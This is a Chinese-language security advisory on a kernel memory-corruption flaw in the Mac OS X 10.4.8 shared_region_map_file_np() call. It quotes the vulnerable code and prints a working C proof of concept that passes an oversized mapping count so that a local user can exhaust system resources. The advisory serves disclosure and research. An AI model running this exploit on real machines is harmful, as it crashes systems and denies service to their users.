Apple Mac OS X内核shared_region_map_file_np()畸形参数内存破坏漏洞
发布日期:2007-01-19
更新日期:2007-01-22
受影响系统:Apple Mac OS X 10.4.8
描述:
BUGTRAQ ID:
22140
Apple Mac OS X是苹果家族机器所使用的操作系统。
Mac OS X内核实现上存在漏洞,本地攻击者可能利用此漏洞通过带畸形参数的函数调用导致系统不可用。
Mac OS X内核的shared_region_map_file_np()函数没有正确验证用户输入。如果以很大的mapping_count值调用了该函数的话,就会破坏系统内存,导致耗尽所有可用的系统资源。有漏洞的代码部分如下:
/*
* Get the list of mappings the caller wants us to establish.
*/
mapping_count = uap->mappingCount; /* the number of mappings */
mappings_size = (vm_size_t) (mapping_count * sizeof (mappings[0]));
if (mapping_count == 0) {
SHARED_REGION_TRACE(
SHARED_REGION_TRACE_INFO,
("shared_region: %p [%d(%s)] map_file(%p:'%s'): "
"no mappings\n",
current_thread(), p->p_pid, p->p_comm,
vp, vp->v_name));
error = 0; /* no mappings: we're done ! */
goto done;
} else if (mapping_count <= SFM_MAX_STACK) {
mappings = &stack_mappings[0];
} else {
if ((mach_vm_size_t) mappings_size !=
(mach_vm_size_t) mapping_count * sizeof (mappings[0])) {
/* 32-bit integer overflow */
error = EINVAL;
goto done;
}
kr = kmem_alloc(kernel_map,
(vm_offset_t *) &mappings,
mappings_size);
<*来源:Adriano Lima (
adriano@risesecurity.org)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=116925003332622&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>
int main(int argc,char **argv){
int fd;
if((fd=open("/usr/lib/libSystem.dylib",O_RDONLY))==-1){
perror("open");
exit(EXIT_FAILURE);
}
if(syscall(SYS_shared_region_map_file_np,fd,0x02000000,NULL,NULL)==-1){
perror("shared_region_map_file_np");
exit(EXIT_FAILURE);
}
exit(EXIT_FAILURE);
}
建议:
厂商补丁:
Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.apple.com浏览次数:3532
严重程度:0(网友投票)